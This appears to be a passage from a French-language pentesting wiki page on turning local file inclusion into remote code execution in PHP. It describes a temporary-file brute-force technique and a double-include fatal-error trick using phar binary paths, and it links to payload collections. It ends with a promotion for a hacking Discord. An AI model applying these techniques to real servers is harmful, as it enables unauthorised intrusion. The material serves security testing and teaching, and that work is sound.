{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}

### Via attente éternelle + force brute

Si vous pouvez abuser de l'inclusion de fichier local pour **téléverser des fichiers temporaires** et faire **suspension** de l'exécution PHP du serveur, vous pourriez ensuite **forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}

### Vers une erreur fatale

Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).

**Je ne sais pas à quoi cela peut servir mais cela pourrait être utile.**\
_Même si vous provoquez une erreur fatale en PHP, les fichiers temporaires PHP téléversés sont supprimés._

<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>

## Références

* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !

**Perspectives sur le piratage**\
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

**Actualités sur le piratage en temps réel**\
Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations

**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !